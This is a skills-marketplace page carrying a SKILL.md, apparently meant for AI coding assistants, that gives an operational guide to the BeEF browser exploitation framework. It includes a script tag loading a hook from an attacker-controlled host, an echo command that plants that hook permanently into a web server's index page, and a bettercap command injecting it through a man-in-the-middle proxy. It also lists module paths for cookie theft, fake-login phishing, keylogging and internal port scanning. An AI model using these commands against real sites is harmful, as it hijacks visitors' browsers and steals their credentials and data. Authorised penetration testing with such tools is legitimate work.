用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/AeonDave/malskill --skill beef命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
基于 SOC 职业分类
| name | beef |
| description | Auth/lab ref: Browser Exploitation Framework - hook browsers via XSS/injected JS and perform client-side testing. |
| license | MIT |
| compatibility | Ruby; Linux/macOS. |
| metadata | {"author":"AeonDave","version":"1.1"} |
Hook browsers via XSS and execute client-side attacks from a web console.
# Kali
beef-xss
# Or from source
git clone https://github.com/beefproject/beef
cd beef && ./install && ./beef
# Panel: http://127.0.0.1:3000/ui/panel
# Default creds: beef/beef
# Hook URL: http://YOUR_IP:3000/hook.js
<!-- Inject in XSS payload or MITM response -->
<script src="http://YOUR_IP:3000/hook.js"></script>
| Category | Examples |
|---|---|
| Network | Port scanner, ping sweep, SSRF |
| Browser | Fingerprint, clipboard steal, camera access |
| Social Engineering | Fake login, fake update, clickjacking |
| Exploits | Browser CVEs, Java exploits |
| Persistence | Persistent hook via service worker |
| Misc | Keylogger, screenshot, geolocation |
Steal cookies via hooked browser:
Modules > Browser > Hooked Domain > Get Cookie
Phishing via fake login overlay:
Modules > Social Engineering > Pretty Theft
Port scan internal network from browser:
Modules > Network > Port Scanner
# Set targets: 192.168.1.1-254
// Service Worker persistence (browser-based)
// Modules > Persistence > Create Foreground iFrame
// Modules > Persistence > Man-In-The-Browser
# Embed in page permanently (if you have file write)
echo '<script src="http://YOUR_IP:3000/hook.js"></script>' >> /var/www/html/index.html
config.yaml)beef:
credentials:
user: "beef"
passwd: "changeme" # Change default
http:
host: "0.0.0.0"
port: "3000"
https:
enable: true
port: "3001"
# Inject via Responder + MITM (if on LAN)
# Inject via stored XSS
# Inject via MITM with bettercap
bettercap -eval "set http.proxy.injectjs http://YOUR_IP:3000/hook.js; http.proxy on"
| File | When to load |
|---|---|
references/modules.md | Full module list by category, hook persistence techniques |